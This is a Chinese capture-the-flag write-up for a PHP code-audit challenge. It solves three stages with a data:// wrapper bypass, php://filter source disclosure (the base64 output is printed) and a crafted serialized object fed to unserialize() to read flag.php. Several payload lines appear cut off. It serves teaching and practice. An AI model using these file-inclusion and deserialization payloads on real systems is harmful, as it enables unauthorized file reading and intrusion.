代码审计题
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
三关,text file password 那么就一关关慢慢来
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
text是我们本地带过去的参数,用data伪协议就可以轻松绕过?text=data://text/plain,welcome to the zjctf 第二关,file里不能带flag,那么,其实我们要读取的是useless.php,本身也跟flag无关 直接用php://filter读取源码
file=php:
返回了useless.php的base64编码源码 PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo= 解码一下
<?php
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
第三关是一个序列化问题,要读取flag.php,toString方法被重写了,那就构造一个Flag对象,file是flag.php就好 没啥好说的,序列化吧
<?php
class Flag{
public $file;
}
$a=new Flag();
$a->file='flag.php';
echo serialize($a);
?>
结果 O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;} 于是完整的payload
?text=data:
flag在源码里 参考视频链接:https://www.bilibili.com/video/BV1jQ4y1y76M/
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